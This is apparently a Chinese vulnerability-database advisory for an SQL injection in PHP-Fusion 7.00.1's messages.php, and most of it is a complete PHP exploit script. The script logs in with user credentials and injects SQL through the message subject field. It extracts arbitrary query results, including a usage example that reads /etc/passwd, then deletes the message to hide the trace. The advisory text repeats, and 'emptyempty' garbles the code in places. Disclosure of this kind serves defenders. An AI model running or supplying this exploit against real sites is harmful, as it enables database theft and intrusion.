PHP-Fusion messages.php模块SQL注入漏洞
添加时间:
2008-12-09
系统编号:
WAVDB-01286
BUGTRAQ: 32388
影响版本:
PHP-Fusion 7.00.1
程序介绍:
解决方案:
厂商补丁:
PHP-Fusion
----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://sourceforge.net/projects/php-fusion/
信息来源:
<*来源:irk4z (irk4z@yahoo.pl)
链接:http://secunia.com/advisories/32781/
*>
2008-12-09
系统编号:
WAVDB-01286
BUGTRAQ: 32388
影响版本:
PHP-Fusion 7.00.1
程序介绍:
PHP-Fusion是一款基于PHP的内容管理系统。
漏洞分析:
当send_message设置为Send的时候,PHP-Fusion的messages.php文件中没有正确地验证对subject参数的输入便在SQL查询中使用,这允许远程攻击者通过提交恶意请求执行SQL注入攻击。
漏洞利用:
- <?php
- /*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
- PHP-Fusion 7.00.1 (messages.php) Remote SQL Injection Exploit
- requires magic_quotes == off
- coded by irk4z[at]yahoo.pl
- homepage: http://irk4z.wordpress.com
- greets: all friends ;)
- *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*/
- $host = $argv[1];
- $path = $argv[2];
- $login = $argv[3];
- $pass = $argv[4];
- $sql_injection = $argv[5];
- echo
- "*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*\n".
- " PHP-Fusion 7.00.1 (messages.php) Remote SQL Injection Exploit\n".
- " requires magic_quotes == off\n".
- "\n".
- " coded by irk4z[at]yahoo.pl\n".
- " homepage: http://irk4z.wordpress.com\n".
- "\n".
- " greets: all friends ;)\n".
- "*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*\n";
- if(emptyempty($host) || emptyempty($path) || emptyempty($login) || emptyempty($pass) || emptyempty($sql_injection) ){
- echo "Usage: php $argv[0] <host> <path> <login> <pass> <SQL>\n" .
- " php $argv[0] localhost /php-fusion/ user s3cret \"SELECT database()\"\n".
- " php $argv[0] localhost / user s3cret \"SELECT load_file(0x2F6574632F706173737764)\"\n\n";
- die;
- }
- echo "Logging into system...";
- //login to php-fusion using login and pass
- $login_data = send($host, array( "path" => $path."news.php",
- "post" => array(
- "user_name" => $login,
- "user_pass" => $pass,
- "login" => "Login"
- )
- )
- );
- //get cookies
- preg_match_all("/Set-Cookie:[\s]+([a-z_A-Z0-9]+=[a-z_A-Z0-9\.]+;)/", $login_data, $matches);
- $cookies = implode(' ', $matches[1]);
- //get user id
- preg_match_all("/([0-9])+.([a-zA-Z0-9]{32})/", $cookies, $matches);
- $my_id = $matches[1][0];
- if(emptyempty($my_id)){
- echo "\n[x] Incorrect login or password..";
- die;
- } else {
- echo "[ok]\n";
- }
- $id_message = uniqid();
- $inhex = '';
- for($i = 0; $i < strlen($id_message); $i++) $inhex .= dechex( ord($id_message[$i]) ) ;
- echo "Running sql-injection...\n";
- //running sql-injection
- $res = send($host, array( "path" => $path."messages.php?msg_send={$my_id}%27%2F%2Axxx&",
- "cookie" => $cookies,
- "post" => array(
- "send_message" => 'X',
- "subject" => "X*/,0x{$inhex}, (SELECT/**/concat(0x{$inhex}{$inhex},hex(($sql_injection)),0x{$inhex}{$inhex})),0x79,1,1226787120,1)/*",
- "message" => "XXX"
- )
- )
- );
- echo "Getting data...\n\n";
- $res = send($host, array( "path" => $path."messages.php?folder=outbox",
- "cookie" => $cookies )
- );
- preg_match_all("/msg_read=([0-9]+)'>{$id_message}<\/a>/", $res, $matches);
- $id_message_number = $matches[1][0];
- $res = send($host, array( "path" => $path."messages.php?folder=outbox&msg_read=".$id_message_number,
- "cookie" => $cookies )
- );
- preg_match_all("/{$id_message}{$id_message}(.*){$id_message}{$id_message}/", $res, $matches);
- if( emptyempty($matches[1][0]) ){
- echo "[x] Failed... maybe SQL-INJ is incorrect?\n\n";
- } else {
- $tmp = '';
- $hex = $matches[1][0];
- //unhex it!
- for($i = 0; $i < strlen($hex); $i+=2) $tmp .= chr(hexdec($hex[$i] . $hex[$i+1]));
- echo "DATA: \n".$tmp."\n\n";
- }
- echo "Deleting message...\n";
- $res = send($host, array( "path" => $path."messages.php?folder=outbox&msg_id=".$id_message_number,
- "cookie" => $cookies,
- "post" => array (
- "delete" => "Delete"
- )
- )
- );
- //send http packet
- function send($host, $dane = "") {
- $packet = (emptyempty($dane['post']) ? "GET" : "POST") . " {$dane["path"]} HTTP/1.1\r\n";
- $packet .= "Host: {$host}\r\n";
- if( !emptyempty($dane['cookie']) ){
- $packet .= "Cookie: {$dane['cookie']}\r\n";
- }
- if( !emptyempty($dane['post']) ){
- $reszta_syfu = "";
- foreach($dane['post'] as $tmp => $tmp2){
- $reszta_syfu .= $tmp . "=" . $tmp2 . "&";
- }
- $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
- $packet .= "Connection: Close\r\n";
- $packet .= "Content-Length: ".strlen($reszta_syfu)."\r\n\r\n";
- $packet .= $reszta_syfu;
- } else {
- $packet .= "Connection: Close\r\n\r\n";
- }
- $o = @fsockopen($host, 80);
- if(!$o){
- echo "\n[x] No response...\n";
- die;
- }
- fputs($o, $packet);
- while (!feof($o)) $ret .= fread($o, 1024);
- fclose($o);
- return ($ret);
- }
- ?>
解决方案:
厂商补丁:
PHP-Fusion
----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://sourceforge.net/projects/php-fusion/
信息来源:
<*来源:irk4z (irk4z@yahoo.pl)
链接:http://secunia.com/advisories/32781/
*>